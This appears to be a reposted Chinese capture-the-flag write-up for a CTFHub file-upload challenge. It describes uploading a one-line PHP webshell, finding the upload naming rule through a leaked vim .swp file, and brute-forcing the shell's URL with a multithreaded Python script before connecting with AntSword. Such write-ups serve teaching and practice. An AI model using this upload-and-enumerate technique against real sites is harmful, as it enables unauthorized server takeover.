[文件上传][源码泄露]--Web-Upload
程序员文章站
2022-05-09 21:42:03
首先上传一下一句话木马文件,发现没有过滤,但是无论如何我们都找不到那个文件地址,猜想可能有源码泄露通过目录扫描发现文件.index.php.swp,关于.swp格式文件是异常退出时linux生成的,具体可以百度之后访问后,我们得到这个文件,推荐用linux的vim打开,但是考虑到这道题比较简单,直接记事本吧,发现文件名的规则打个比方,就如上传的这个文件,那么的格式应该是url+20200826024904+(0-999的随机数)+.php知道这个规则后我写了个多线程的Python脚本,如果找...
首先上传一下一句话木马文件,发现没有过滤,但是无论如何我们都找不到那个文件地址,猜想可能有源码泄露
通过目录扫描发现文件.index.php.swp,关于.swp格式文件是异常退出时linux生成的,具体可以百度
之后访问后,我们得到这个文件,推荐用linux的vim打开,但是考虑到这道题比较简单,直接记事本吧,发现文件名的规则
打个比方,就如上传的这个文件,那么的格式应该是url+20200826024904+(0-999的随机数)+.php
知道这个规则后我写了个多线程的Python脚本,如果找到那个能访问的地址则输入其url
import time import threading import requests class wan(threading.Thread): def __init__(self, start, finish): threading.Thread.__init__(self) self.st = start
self.ed = finish def run(self) -> None: for i in range(self.st, self.ed): url = 'http://challenge-e194e2eeb6d436d8.sandbox.ctfhub.com:10080/uploads/20200826024904' url += str(i) + '.php' r = requests.get(url) if r.status_code == 200: print(url) if __name__ == '__main__': st = 0 threads = [] for i in range(0, 6): t = wan(st, st+200) st += 200 threads.append(t) for i in threads: i.start()
得到结果
之后利用蚁剑连接
得到flag
本文地址:https://blog.csdn.net/solitudi/article/details/108235956
上一篇: Python编程代码实例
下一篇: python爬虫—数据解析技术使用教程